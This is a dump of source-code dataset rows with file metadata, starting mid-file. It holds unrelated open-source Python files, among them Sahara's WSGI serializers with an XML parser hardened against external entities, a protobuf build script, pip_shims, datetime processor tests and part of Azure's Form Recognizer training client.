logging.error("Tasks {}".format(dag.tasks))
dr = dag.create_dagrun(
run_id="manual__",
start_date=timezone.utcnow(),
execution_date=DEFAULT_DATE,
state=State.RUNNING
)
upstream.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
short_op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
tis = dr.get_task_instances()
self.assertEqual(len(tis), 4)
for ti in tis:
if ti.task_id == 'make_choice':
self.assertEqual(ti.state, State.SUCCESS)
elif ti.task_id == 'upstream':
self.assertEqual(ti.state, State.SUCCESS)
elif ti.task_id == 'branch_1' or ti.task_id == 'branch_2':
self.assertEqual(ti.state, State.SKIPPED)
else:
raise Exception
value = True
dag.clear()
dr.verify_integrity()
upstream.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
short_op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
tis = dr.get_task_instances()
self.assertEqual(len(tis), 4)
for ti in tis:
if ti.task_id == 'make_choice':
self.assertEqual(ti.state, State.SUCCESS)
elif ti.task_id == 'upstream':
self.assertEqual(ti.state, State.SUCCESS)
elif ti.task_id == 'branch_1' or ti.task_id == 'branch_2':
self.assertEqual(ti.state, State.NONE)
else:
raise Exception
| 37.377495 | 98 | 0.586307 |
795c456f314a7b43e35db9a5f0890ebeee9a1ba5 | 11,431 | py | Python | sahara/utils/wsgi.py | esikachev/scenario | 40a59114c7bac44fea510767a3c07d73649f4caf | [
"Apache-2.0"
] | null | null | null | sahara/utils/wsgi.py | esikachev/scenario | 40a59114c7bac44fea510767a3c07d73649f4caf | [
"Apache-2.0"
] | null | null | null | sahara/utils/wsgi.py | esikachev/scenario | 40a59114c7bac44fea510767a3c07d73649f4caf | [
"Apache-2.0"
] | null | null | null | # Copyright 2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
# Only (de)serialization utils hasn't been removed to decrease requirements
# number.
"""Utility methods for working with WSGI servers."""
import datetime
from xml.dom import minidom
from xml.parsers import expat
from xml import sax
from xml.sax import expatreader
from oslo_log import log as logging
from oslo_serialization import jsonutils
import six
from sahara import exceptions
from sahara.i18n import _
LOG = logging.getLogger(__name__)
class ProtectedExpatParser(expatreader.ExpatParser):
"""An expat parser which disables DTD's and entities by default."""
def __init__(self, forbid_dtd=True, forbid_entities=True,
*args, **kwargs):
# Python 2.x old style class
expatreader.ExpatParser.__init__(self, *args, **kwargs)
self.forbid_dtd = forbid_dtd
self.forbid_entities = forbid_entities
def start_doctype_decl(self, name, sysid, pubid, has_internal_subset):
raise ValueError("Inline DTD forbidden")
def entity_decl(self, entityName, is_parameter_entity, value, base,
systemId, publicId, notationName):
raise ValueError("<!ENTITY> entity declaration forbidden")
def unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):
# expat 1.2
raise ValueError("<!ENTITY> unparsed entity forbidden")
def external_entity_ref(self, context, base, systemId, publicId):
raise ValueError("<!ENTITY> external entity forbidden")
def notation_decl(self, name, base, sysid, pubid):
raise ValueError("<!ENTITY> notation forbidden")
def reset(self):
expatreader.ExpatParser.reset(self)
if self.forbid_dtd:
self._parser.StartDoctypeDeclHandler = self.start_doctype_decl
self._parser.EndDoctypeDeclHandler = None
if self.forbid_entities:
self._parser.EntityDeclHandler = self.entity_decl
self._parser.UnparsedEntityDeclHandler = self.unparsed_entity_decl
self._parser.ExternalEntityRefHandler = self.external_entity_ref
self._parser.NotationDeclHandler = self.notation_decl
try:
self._parser.SkippedEntityHandler = None
except AttributeError:
# some pyexpat versions do not support SkippedEntity
pass
def safe_minidom_parse_string(xml_string):
"""Parse an XML string using minidom safely.
"""
try:
return minidom.parseString(xml_string, parser=ProtectedExpatParser())
except sax.SAXParseException:
raise expat.ExpatError()
class ActionDispatcher(object):
"""Maps method name to local methods through action name."""
def dispatch(self, *args, **kwargs):
"""Find and call local method."""
action = kwargs.pop('action', 'default')
action_method = getattr(self, str(action), self.default)
return action_method(*args, **kwargs)
def default(self, data):
raise NotImplementedError()
class DictSerializer(ActionDispatcher):
"""Default request body serialization."""
def serialize(self, data, action='default'):
return self.dispatch(data, action=action)
def default(self, data):
return ""
class JSONDictSerializer(DictSerializer):
"""Default JSON request body serialization."""
def default(self, data):
def sanitizer(obj):
if isinstance(obj, datetime.datetime):
_dtime = obj - datetime.timedelta(microseconds=obj.microsecond)
return _dtime.isoformat()
return unicode(obj)
return jsonutils.dumps(data, default=sanitizer)
class XMLDictSerializer(DictSerializer):
def __init__(self, metadata=None, xmlns=None):
""":param metadata: information needed to deserialize xml
into a dictionary.
:param xmlns: XML namespace to include with serialized xml
"""
super(XMLDictSerializer, self).__init__()
self.metadata = metadata or {}
self.xmlns = xmlns
def default(self, data):
# We expect data to contain a single key which is the XML root.
root_key = data.keys()[0]
doc = minidom.Document()
node = self._to_xml_node(doc, self.metadata, root_key, data[root_key])
return self.to_xml_string(node)
def to_xml_string(self, node, has_atom=False):
self._add_xmlns(node, has_atom)
return node.toprettyxml(indent=' ', encoding='UTF-8')
# NOTE (ameade): the has_atom should be removed after all of the
# xml serializers and view builders have been updated to the current
# spec that required all responses include the xmlns:atom, the has_atom
# flag is to prevent current tests from breaking
def _add_xmlns(self, node, has_atom=False):
if self.xmlns is not None:
node.setAttribute('xmlns', self.xmlns)
if has_atom:
node.setAttribute('xmlns:atom', "http://www.w3.org/2005/Atom")
def _to_xml_node(self, doc, metadata, nodename, data):
"""Recursive method to convert data members to XML nodes."""
result = doc.createElement(nodename)
# Set the xml namespace if one is specified
# TODO(justinsb): We could also use prefixes on the keys
xmlns = metadata.get('xmlns', None)
if xmlns:
result.setAttribute('xmlns', xmlns)
# TODO(bcwaldon): accomplish this without a type-check
if type(data) is list:
collections = metadata.get('list_collections', {})
if nodename in collections:
metadata = collections[nodename]
for item in data:
node = doc.createElement(metadata['item_name'])
node.setAttribute(metadata['item_key'], str(item))
result.appendChild(node)
return result
singular = metadata.get('plurals', {}).get(nodename, None)
if singular is None:
if nodename.endswith('s'):
singular = nodename[:-1]
else:
singular = 'item'
for item in data:
node = self._to_xml_node(doc, metadata, singular, item)
result.appendChild(node)
# TODO(bcwaldon): accomplish this without a type-check
elif type(data) is dict:
collections = metadata.get('dict_collections', {})
if nodename in collections:
metadata = collections[nodename]
for k, v in data.items():
node = doc.createElement(metadata['item_name'])
node.setAttribute(metadata['item_key'], str(k))
text = doc.createTextNode(str(v))
node.appendChild(text)
result.appendChild(node)
return result
attrs = metadata.get('attributes', {}).get(nodename, {})
for k, v in data.items():
if k in attrs:
result.setAttribute(k, str(v))
else:
node = self._to_xml_node(doc, metadata, k, v)
result.appendChild(node)
else:
# Type is atom
node = doc.createTextNode(str(data))
result.appendChild(node)
return result
def _create_link_nodes(self, xml_doc, links):
link_nodes = []
for link in links:
link_node = xml_doc.createElement('atom:link')
link_node.setAttribute('rel', link['rel'])
link_node.setAttribute('href', link['href'])
if 'type' in link:
link_node.setAttribute('type', link['type'])
link_nodes.append(link_node)
return link_nodes
class TextDeserializer(ActionDispatcher):
"""Default request body deserialization."""
def deserialize(self, datastring, action='default'):
return self.dispatch(datastring, action=action)
def default(self, datastring):
return {}
class JSONDeserializer(TextDeserializer):
def _from_json(self, datastring):
try:
return jsonutils.loads(datastring)
except ValueError:
msg = _("cannot understand JSON")
raise exceptions.MalformedRequestBody(msg)
def default(self, datastring):
return {'body': self._from_json(datastring)}
class XMLDeserializer(TextDeserializer):
def __init__(self, metadata=None):
""":param metadata: information needed to
deserialize xml into a dictionary.
"""
super(XMLDeserializer, self).__init__()
self.metadata = metadata or {}
def _from_xml(self, datastring):
plurals = set(self.metadata.get('plurals', {}))
try:
node = safe_minidom_parse_string(datastring).childNodes[0]
return {node.nodeName: self._from_xml_node(node, plurals)}
except expat.ExpatError:
msg = _("cannot understand XML")
raise exceptions.MalformedRequestBody(msg)
def _from_xml_node(self, node, listnames):
"""Convert a minidom node to a simple Python type.
:param listnames: list of XML node names whose subnodes should
be considered list items.
"""
if len(node.childNodes) == 1 and node.childNodes[0].nodeType == 3:
return node.childNodes[0].nodeValue
elif node.nodeName in listnames:
return [self._from_xml_node(n, listnames) for n in node.childNodes]
else:
result = dict()
for attr, val in six.iteritems(node.attributes):
result[attr] = val.nodeValue
for child in node.childNodes:
if child.nodeType != node.TEXT_NODE:
result[child.nodeName] = self._from_xml_node(child,
listnames)
return result
def find_first_child_named(self, parent, name):
"""Search a nodes children for the first child with a given name."""
for node in parent.childNodes:
if node.nodeName == name:
return node
return None
def find_children_named(self, parent, name):
"""Return all of a nodes children who have the given name."""
for node in parent.childNodes:
if node.nodeName == name:
yield node
def extract_text(self, node):
"""Get the text field contained by the given node."""
if len(node.childNodes) == 1:
child = node.childNodes[0]
if child.nodeType == child.TEXT_NODE:
return child.nodeValue
return ""
def default(self, datastring):
return {'body': self._from_xml(datastring)}
| 36.404459 | 79 | 0.624705 |
795c45af952cb6a3e67ecfb862c15a9995272f73 | 647 | py | Python | setup.py | grayfall/pymmds | 05859093ed1a10240d69095eb4deb0388b5ff8c3 | [
"MIT"
] | 3 | 2018-03-29T00:14:42.000Z | 2021-01-28T04:33:28.000Z | setup.py | grayfall/pymmds | 05859093ed1a10240d69095eb4deb0388b5ff8c3 | [
"MIT"
] | 1 | 2018-07-11T13:07:37.000Z | 2019-04-19T20:32:59.000Z | setup.py | grayfall/pymmds | 05859093ed1a10240d69095eb4deb0388b5ff8c3 | [
"MIT"
] | 2 | 2018-06-11T02:28:49.000Z | 2021-03-23T15:00:14.000Z | from setuptools import setup
import sys
if sys.version_info < (3, 5):
print('This package requires Python >= 3.5')
sys.exit(1)
setup(
name='pymmds',
version='1.0',
packages=['mmds'],
url='https://github.com/grayfall/pymmds',
download_url='https://github.com/grayfall/pymmds/archive/1.0.tar.gz',
license='MIT',
author='Ilia Korvigo',
author_email='ilia.korvigo@gmail.com',
description='A Python package for active metric MDS.',
install_requires=['numpy>=1.14.0', 'pandas>=0.22.0'],
keywords=['multidimensional scaling', 'principal coordinate analysis',
'mds', 'landmark mds']
)
| 26.958333 | 74 | 0.652241 |
795c4695fdadf4db4546a20ea08e56b105626c20 | 722 | py | Python | apps/properties/urls.py | FancyKat/django-portfolio | f261f8d3a37e5771f9f48a74a769b6e9b479d49d | [
"MIT"
] | null | null | null | apps/properties/urls.py | FancyKat/django-portfolio | f261f8d3a37e5771f9f48a74a769b6e9b479d49d | [
"MIT"
] | 9 | 2022-03-22T04:30:50.000Z | 2022-03-22T04:49:13.000Z | apps/properties/urls.py | FancyKat/django-portfolio | f261f8d3a37e5771f9f48a74a769b6e9b479d49d | [
"MIT"
] | null | null | null | from django.urls import path
from . import views
urlpatterns = [
path("all/", views.ListAllPropertiesAPIView.as_view(), name="all-properties"),
path(
"agents/", views.ListAgentsPropertiesAPIView.as_view(), name="agent-properties"
),
path("create/", views.create_property_api_view, name="property-create"),
path(
"details/<slug:slug>/",
views.PropertyDetailView.as_view(),
name="property-details",
),
path("update/<slug:slug>/", views.update_property_api_view, name="update-property"),
path("delete/<slug:slug>/", views.delete_property_api_view, name="delete-property"),
path("search/", views.PropertySearchAPIView.as_view(), name="property-search"),
]
| 36.1 | 88 | 0.684211 |
795c475df557fe9f2adb2c19a1fb6e93690fbd7b | 237 | py | Python | nlu/components/normalizers/drug_normalizer/drug_normalizer.py | milyiyo/nlu | d209ed11c6a84639c268f08435552248391c5573 | [
"Apache-2.0"
] | 480 | 2020-08-24T02:36:40.000Z | 2022-03-30T08:09:43.000Z | nlu/components/normalizers/drug_normalizer/drug_normalizer.py | milyiyo/nlu | d209ed11c6a84639c268f08435552248391c5573 | [
"Apache-2.0"
] | 28 | 2020-09-26T18:55:43.000Z | 2022-03-26T01:05:45.000Z | nlu/components/normalizers/drug_normalizer/drug_normalizer.py | milyiyo/nlu | d209ed11c6a84639c268f08435552248391c5573 | [
"Apache-2.0"
] | 76 | 2020-09-25T22:55:12.000Z | 2022-03-17T20:25:52.000Z | from sparknlp_jsl.annotator import DrugNormalizer
class DrugNorm:
@staticmethod
def get_default_model():
return DrugNormalizer() \
.setInputCols(["document"]) \
.setOutputCol("normalized_drugs")
| 23.7 | 49 | 0.666667 |
795c47a0b7051b247a677b967e9beb6a4e9d8092 | 1,139 | py | Python | proto/server_server.py | 119068489/game_server | 6967d23cd795d7b30f75f563edf558218a17b6f2 | [
"MIT"
] | 1 | 2022-03-25T04:45:45.000Z | 2022-03-25T04:45:45.000Z | proto/server_server.py | 119068489/game_server | 6967d23cd795d7b30f75f563edf558218a17b6f2 | [
"MIT"
] | null | null | null | proto/server_server.py | 119068489/game_server | 6967d23cd795d7b30f75f563edf558218a17b6f2 | [
"MIT"
] | 2 | 2021-12-03T11:49:03.000Z | 2021-12-24T07:02:21.000Z | import os
import platform
def BuildProto():
"""
build .proto ---> .pb.go
"""
src = "./client_server_proto/server_server/"
dest = "../pb/server_server/"
rpc_map_file = "server_server"
cmd = "python3 make_rpc_service.py src=%s dest=%s rpc_map_file=%s" % (src, dest, rpc_map_file)
res1 = os.popen(cmd).read()
print(res1)
system = platform.system().lower()
if system == "windows":
cmd2 = "protoc.exe -I=../../github.com/akqp2019/protobuf/protobuf/ -I=../../ -I=./client_server_proto/server_server -I=../easygo/base/ -I=./share_message --gogofast_out=../pb/server_server client_server_proto/server_server/*.proto"
else:
cmd2 = "protoc -I=../../github.com/akqp2019/protobuf/protobuf/ -I=../../ -I=./client_server_proto/server_server -I=../easygo/base/ -I=./share_message --gogofast_out=../pb/server_server client_server_proto/server_server/*.proto"
res2 = os.popen(cmd2).read()
print(res2)
src2 = "../pb/server_server/"
cmd3 = "python3 deal_pb_import.py src=%s" % src2
res3 = os.popen(cmd3).read()
print(res3)
if __name__ == "__main__":
BuildProto() | 39.275862 | 239 | 0.652327 |
795c4872f978d4a592e4c809ea9312c5f666217f | 1,305 | py | Python | pipenv/vendor/pip_shims/__init__.py | GPHemsley/pipenv | f640fcba77fb148b8c3a1fefbc540764d8e4010d | [
"MIT"
] | 2 | 2017-12-08T05:38:44.000Z | 2018-02-08T13:58:03.000Z | pipenv/vendor/pip_shims/__init__.py | GPHemsley/pipenv | f640fcba77fb148b8c3a1fefbc540764d8e4010d | [
"MIT"
] | 54 | 2018-10-07T08:46:09.000Z | 2020-08-19T14:25:31.000Z | pipenv/vendor/pip_shims/__init__.py | GPHemsley/pipenv | f640fcba77fb148b8c3a1fefbc540764d8e4010d | [
"MIT"
] | 3 | 2018-10-17T13:59:30.000Z | 2019-01-23T23:46:22.000Z | # -*- coding=utf-8 -*-
"""
This library is a set of compatibilty access shims to the ``pip`` internal API.
It provides compatibility with pip versions 8.0 through the current release. The
shims are provided using a lazy import strategy by hacking a module by overloading
a class instance's ``getattr`` method. This library exists due to my constant
writing of the same set of import shims.
Submodules
==========
.. autosummary::
:toctree: _autosummary
pip_shims.models
pip_shims.compat
pip_shims.utils
pip_shims.shims
pip_shims.environment
"""
from __future__ import absolute_import
import sys
from . import shims
__version__ = "0.5.2"
if "pip_shims" in sys.modules:
# mainly to keep a reference to the old module on hand so it doesn't get
# weakref'd away
if __name__ != "pip_shims":
del sys.modules["pip_shims"]
if __name__ in sys.modules:
old_module = sys.modules[__name__]
module = sys.modules[__name__] = sys.modules["pip_shims"] = shims._new()
module.shims = shims
module.__dict__.update(
{
"__file__": __file__,
"__package__": "pip_shims",
"__path__": __path__,
"__doc__": __doc__,
"__all__": module.__all__ + ["shims"],
"__version__": __version__,
"__name__": __name__,
}
)
| 24.622642 | 82 | 0.68046 |
795c487a949f4c49b74c95d9eca76883196dfc23 | 2,348 | py | Python | piped/processors/test/test_datetime_processors.py | alexbrasetvik/Piped | 0312c14d6c4c293df378c915cc9787bcc7faed36 | [
"MIT"
] | 3 | 2015-02-12T20:34:30.000Z | 2016-08-06T06:54:48.000Z | piped/processors/test/test_datetime_processors.py | alexbrasetvik/Piped | 0312c14d6c4c293df378c915cc9787bcc7faed36 | [
"MIT"
] | null | null | null | piped/processors/test/test_datetime_processors.py | alexbrasetvik/Piped | 0312c14d6c4c293df378c915cc9787bcc7faed36 | [
"MIT"
] | 2 | 2015-12-16T14:18:14.000Z | 2019-04-12T01:43:10.000Z | # Copyright (c) 2010-2011, Found IT A/S and Piped Project Contributors.
# See LICENSE for details.
import datetime
from twisted.trial import unittest
from twisted.internet import defer
from piped.processors import datetime_processors
class DateTimeParserTest(unittest.TestCase):
@defer.inlineCallbacks
def test_parsing_and_getting_date(self):
processor = datetime_processors.DateTimeParser(format_string='%Y-%m-%dT%H:%M:%S', as_date=True)
result = yield processor.process('2011-02-03T15:14:12')
self.assertEquals(result, datetime.date(2011, 2, 3))
@defer.inlineCallbacks
def test_parse_with_different_formats(self):
simple_tests = dict()
simple_tests[('2011-02-03', '%Y-%m-%d')] = datetime.datetime(2011, 2, 3)
simple_tests[('2011-2-3', '%Y-%m-%d')] = datetime.datetime(2011, 2, 3)
simple_tests[('2011-2-3-15-14-12', '%Y-%m-%d-%H-%M-%S')] = datetime.datetime(2011, 2, 3, 15, 14, 12)
for (datetime_string, format_string), expected_datetime in simple_tests.items():
processor = datetime_processors.DateTimeParser(format_string=format_string)
result = yield processor.process(datetime_string)
self.assertEquals(expected_datetime, result)
processor = datetime_processors.DateTimeParser(format_string='%Y')
self.assertRaises(ValueError, processor.process_input, 'this string does not match the format', baton=None)
class DateFormatterTest(unittest.TestCase):
@defer.inlineCallbacks
def test_parse_simple(self):
simple_tests = dict()
simple_tests[(datetime.datetime(2011, 2, 3), '%Y-%m-%d')] = '2011-02-03'
simple_tests[(datetime.datetime(2011, 2, 3, 15, 14, 12), '%Y-%m-%d-%H-%M-%S')] = '2011-02-03-15-14-12'
simple_tests[(datetime.date(2011, 2, 3), '%Y-%m-%d')] = '2011-02-03'
for (date_like, format_string), expected_result in simple_tests.items():
processor = datetime_processors.DateFormatter(format_string=format_string)
result = yield processor.process(date_like)
self.assertEquals(expected_result, result)
# invalid format string
processor = datetime_processors.DateFormatter(format_string='%FAIL%')
self.assertRaises(ValueError, processor.process_input, datetime.datetime.now(), baton=None)
| 44.301887 | 115 | 0.689949 |
795c48acd77514df3b4c3fd7eeb0ffa83261b7e0 | 416 | py | Python | individuals/mei/software text class.py | periode/software-art-text | bc512345bb8e293f165077587b343407fba61d71 | [
"Unlicense"
] | 2 | 2019-01-02T17:58:24.000Z | 2019-09-15T16:26:00.000Z | individuals/mei/software text class.py | periode/software-art-text | bc512345bb8e293f165077587b343407fba61d71 | [
"Unlicense"
] | null | null | null | individuals/mei/software text class.py | periode/software-art-text | bc512345bb8e293f165077587b343407fba61d71 | [
"Unlicense"
] | null | null | null | class Thought:
def __init__(self,letters,meanings,audience):
self.letters=letters
self.meanings=meanings[0]
self.hidden_meaning=meanings[1]
self.audience=audience
def happen(self):
if (self.hidden_meaning):
print self.audience
else:
print self.letters
maybe = Thought('We are', ['you','I'],'human')
maybe.happen()
| 26 | 49 | 0.584135 |
795c49902c6952cef67af99b6911ba3dea279e72 | 23,280 | py | Python | sdk/formrecognizer/azure-ai-formrecognizer/azure/ai/formrecognizer/_form_training_client.py | JianpingChen/azure-sdk-for-python | 3072fc8c0366287fbaea1b02493a50259c3248a2 | [
"MIT"
] | 3 | 2020-06-23T02:25:27.000Z | 2021-09-07T18:48:11.000Z | sdk/formrecognizer/azure-ai-formrecognizer/azure/ai/formrecognizer/_form_training_client.py | JianpingChen/azure-sdk-for-python | 3072fc8c0366287fbaea1b02493a50259c3248a2 | [
"MIT"
] | 510 | 2019-07-17T16:11:19.000Z | 2021-08-02T08:38:32.000Z | sdk/formrecognizer/azure-ai-formrecognizer/azure/ai/formrecognizer/_form_training_client.py | JianpingChen/azure-sdk-for-python | 3072fc8c0366287fbaea1b02493a50259c3248a2 | [
"MIT"
] | 5 | 2019-09-04T12:51:37.000Z | 2020-09-16T07:28:40.000Z | # coding=utf-8
# ------------------------------------
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
# ------------------------------------
# pylint: disable=protected-access
import json
from typing import (
Any,
Dict,
Union,
List,
TYPE_CHECKING,
)
from azure.core.tracing.decorator import distributed_trace
from azure.core.polling import LROPoller
from azure.core.polling.base_polling import LROBasePolling
from azure.core.pipeline import Pipeline
from ._generated.models import (
TrainRequest,
TrainSourceFilter,
CopyRequest,
CopyAuthorizationResult,
)
from ._helpers import TransportWrapper
from ._models import (
CustomFormModelInfo,
AccountProperties,
CustomFormModel,
)
from ._polling import TrainingPolling, CopyPolling
from ._form_recognizer_client import FormRecognizerClient
from ._form_base_client import FormRecognizerClientBase
if TYPE_CHECKING:
from azure.core.pipeline import PipelineResponse
from azure.core.pipeline.transport import HttpResponse
from azure.core.paging import ItemPaged
PipelineResponseType = HttpResponse
class FormTrainingClient(FormRecognizerClientBase):
"""FormTrainingClient is the Form Recognizer interface to use for creating
and managing custom models. It provides methods for training models on the forms
you provide, as well as methods for viewing and deleting models, accessing
account properties, copying models to another Form Recognizer resource, and
composing models from a collection of existing models trained with labels.
:param str endpoint: Supported Cognitive Services endpoints (protocol and hostname,
for example: https://westus2.api.cognitive.microsoft.com).
:param credential: Credentials needed for the client to connect to Azure.
This is an instance of AzureKeyCredential if using an API key or a token
credential from :mod:`azure.identity`.
:type credential: :class:`~azure.core.credentials.AzureKeyCredential` or
:class:`~azure.core.credentials.TokenCredential`
:keyword api_version:
The API version of the service to use for requests. It defaults to the latest service version.
Setting to an older version may result in reduced feature compatibility.
:paramtype api_version: str or ~azure.ai.formrecognizer.FormRecognizerApiVersion
.. admonition:: Example:
.. literalinclude:: ../samples/sample_authentication.py
:start-after: [START create_ft_client_with_key]
:end-before: [END create_ft_client_with_key]
:language: python
:dedent: 8
:caption: Creating the FormTrainingClient with an endpoint and API key.
.. literalinclude:: ../samples/sample_authentication.py
:start-after: [START create_ft_client_with_aad]
:end-before: [END create_ft_client_with_aad]
:language: python
:dedent: 8
:caption: Creating the FormTrainingClient with a token credential.
"""
@distributed_trace
def begin_training(self, training_files_url, use_training_labels, **kwargs):
# type: (str, bool, Any) -> LROPoller[CustomFormModel]
"""Create and train a custom model. The request must include a `training_files_url` parameter that is an
externally accessible Azure storage blob container URI (preferably a Shared Access Signature URI). Note that
a container URI (without SAS) is accepted only when the container is public.
Models are trained using documents that are of the following content type - 'application/pdf',
'image/jpeg', 'image/png', 'image/tiff', or 'image/bmp'. Other types of content in the container is ignored.
:param str training_files_url: An Azure Storage blob container's SAS URI. A container URI (without SAS)
can be used if the container is public. For more information on setting up a training data set, see:
https://docs.microsoft.com/azure/cognitive-services/form-recognizer/build-training-data-set
:param bool use_training_labels: Whether to train with labels or not. Corresponding labeled files must
exist in the blob container if set to `True`.
:keyword str prefix: A case-sensitive prefix string to filter documents in the source path for
training. For example, when using a Azure storage blob URI, use the prefix to restrict sub
folders for training.
:keyword bool include_subfolders: A flag to indicate if subfolders within the set of prefix folders
will also need to be included when searching for content to be preprocessed. Not supported if
training with labels.
:keyword str model_name: An optional, user-defined name to associate with your model.
:keyword str continuation_token: A continuation token to restart a poller from a saved state.
:return: An instance of an LROPoller. Call `result()` on the poller
object to return a :class:`~azure.ai.formrecognizer.CustomFormModel`.
:rtype: ~azure.core.polling.LROPoller[~azure.ai.formrecognizer.CustomFormModel]
:raises ~azure.core.exceptions.HttpResponseError:
Note that if the training fails, the exception is raised, but a model with an
"invalid" status is still created. You can delete this model by calling :func:`~delete_model()`
.. versionadded:: v2.1
The *model_name* keyword argument
.. admonition:: Example:
.. literalinclude:: ../samples/sample_train_model_without_labels.py
:start-after: [START training]
:end-before: [END training]
:language: python
:dedent: 8
:caption: Training a model (without labels) with your custom forms.
"""
def callback_v2_0(raw_response):
model = self._deserialize(self._generated_models.Model, raw_response)
return CustomFormModel._from_generated(model, api_version=self._api_version)
def callback_v2_1(raw_response, _, headers): # pylint: disable=unused-argument
model = self._deserialize(self._generated_models.Model, raw_response)
return CustomFormModel._from_generated(model, api_version=self._api_version)
cls = kwargs.pop("cls", None)
model_name = kwargs.pop("model_name", None)
if model_name and self._api_version == "2.0":
raise ValueError(
"'model_name' is only available for API version V2_1 and up"
)
continuation_token = kwargs.pop("continuation_token", None)
polling_interval = kwargs.pop(
"polling_interval", self._client._config.polling_interval
)
if self._api_version == "2.0":
deserialization_callback = cls if cls else callback_v2_0
if continuation_token:
return LROPoller.from_continuation_token(
polling_method=LROBasePolling(
timeout=polling_interval,
lro_algorithms=[TrainingPolling()],
**kwargs
),
continuation_token=continuation_token,
client=self._client._client,
deserialization_callback=deserialization_callback,
)
response = self._client.train_custom_model_async( # type: ignore
train_request=TrainRequest(
source=training_files_url,
use_label_file=use_training_labels,
source_filter=TrainSourceFilter(
prefix=kwargs.pop("prefix", ""),
include_sub_folders=kwargs.pop("include_subfolders", False),
),
),
cls=lambda pipeline_response, _, response_headers: pipeline_response,
**kwargs
) # type: PipelineResponseType
return LROPoller(
self._client._client,
response,
deserialization_callback,
LROBasePolling(
timeout=polling_interval,
lro_algorithms=[TrainingPolling()],
**kwargs
),
)
deserialization_callback = cls if cls else callback_v2_1
return self._client.begin_train_custom_model_async( # type: ignore
train_request=TrainRequest(
source=training_files_url,
use_label_file=use_training_labels,
source_filter=TrainSourceFilter(
prefix=kwargs.pop("prefix", ""),
include_sub_folders=kwargs.pop("include_subfolders", False),
),
model_name=model_name,
),
cls=deserialization_callback,
continuation_token=continuation_token,
polling=LROBasePolling(
timeout=polling_interval, lro_algorithms=[TrainingPolling()], **kwargs
),
**kwargs
)
@distributed_trace
def delete_model(self, model_id, **kwargs):
# type: (str, Any) -> None
"""Mark model for deletion. Model artifacts will be permanently
removed within a predetermined period.
:param model_id: Model identifier.
:type model_id: str
:rtype: None
:raises ~azure.core.exceptions.HttpResponseError or ~azure.core.exceptions.ResourceNotFoundError:
.. admonition:: Example:
.. literalinclude:: ../samples/sample_manage_custom_models.py
:start-after: [START delete_model]
:end-before: [END delete_model]
:language: python
:dedent: 8
:caption: Delete a custom model.
"""
if not model_id:
raise ValueError("model_id cannot be None or empty.")
self._client.delete_custom_model(model_id=model_id, **kwargs)
@distributed_trace
def list_custom_models(self, **kwargs):
# type: (Any) -> ItemPaged[CustomFormModelInfo]
"""List information for each model, including model id,
model status, and when it was created and last modified.
:return: ItemPaged[:class:`~azure.ai.formrecognizer.CustomFormModelInfo`]
:rtype: ~azure.core.paging.ItemPaged
:raises ~azure.core.exceptions.HttpResponseError:
.. admonition:: Example:
.. literalinclude:: ../samples/sample_manage_custom_models.py
:start-after: [START list_custom_models]
:end-before: [END list_custom_models]
:language: python
:dedent: 8
:caption: List model information for each model on the account.
"""
return self._client.list_custom_models( # type: ignore
cls=kwargs.pop(
"cls",
lambda objs: [
CustomFormModelInfo._from_generated(
x, api_version=self._api_version
)
for x in objs
],
),
**kwargs
)
@distributed_trace
def get_account_properties(self, **kwargs):
# type: (Any) -> AccountProperties
"""Get information about the models on the form recognizer account.
:return: Summary of models on account - custom model count,
custom model limit.
:rtype: ~azure.ai.formrecognizer.AccountProperties
:raises ~azure.core.exceptions.HttpResponseError:
.. admonition:: Example:
.. literalinclude:: ../samples/sample_manage_custom_models.py
:start-after: [START get_account_properties]
:end-before: [END get_account_properties]
:language: python
:dedent: 8
:caption: Get properties for the form recognizer account.
"""
response = self._client.get_custom_models(**kwargs)
return AccountProperties._from_generated(response.summary)
@distributed_trace
def get_custom_model(self, model_id, **kwargs):
# type: (str, Any) -> CustomFormModel
"""Get a description of a custom model, including the types of forms
it can recognize, and the fields it will extract for each form type.
:param str model_id: Model identifier.
:return: CustomFormModel
:rtype: ~azure.ai.formrecognizer.CustomFormModel
:raises ~azure.core.exceptions.HttpResponseError or ~azure.core.exceptions.ResourceNotFoundError:
.. admonition:: Example:
.. literalinclude:: ../samples/sample_manage_custom_models.py
:start-after: [START get_custom_model]
:end-before: [END get_custom_model]
:language: python
:dedent: 8
:caption: Get a custom model with a model ID.
"""
if not model_id:
raise ValueError("model_id cannot be None or empty.")
response = self._client.get_custom_model(
model_id=model_id, include_keys=True, **kwargs
)
if (
hasattr(response, "composed_train_results")
and response.composed_train_results
):
return CustomFormModel._from_generated_composed(response)
return CustomFormModel._from_generated(response, api_version=self._api_version)
@distributed_trace
def get_copy_authorization(self, resource_id, resource_region, **kwargs):
# type: (str, str, Any) -> Dict[str, Union[str, int]]
"""Generate authorization for copying a custom model into the target Form Recognizer resource.
This should be called by the target resource (where the model will be copied to)
and the output can be passed as the `target` parameter into :func:`~begin_copy_model()`.
:param str resource_id: Azure Resource Id of the target Form Recognizer resource
where the model will be copied to.
:param str resource_region: Location of the target Form Recognizer resource. A valid Azure
region name supported by Cognitive Services. For example, 'westus', 'eastus' etc.
See https://azure.microsoft.com/global-infrastructure/services/?products=cognitive-services
for the regional availability of Cognitive Services
:return: A dictionary with values for the copy authorization -
"modelId", "accessToken", "resourceId", "resourceRegion", and "expirationDateTimeTicks".
:rtype: Dict[str, Union[str, int]]
:raises ~azure.core.exceptions.HttpResponseError:
.. admonition:: Example:
.. literalinclude:: ../samples/sample_copy_model.py
:start-after: [START get_copy_authorization]
:end-before: [END get_copy_authorization]
:language: python
:dedent: 8
:caption: Authorize the target resource to receive the copied model
"""
response = self._client.generate_model_copy_authorization( # type: ignore
cls=lambda pipeline_response, deserialized, response_headers: pipeline_response,
**kwargs
) # type: PipelineResponse
target = json.loads(response.http_response.text())
target["resourceId"] = resource_id
target["resourceRegion"] = resource_region
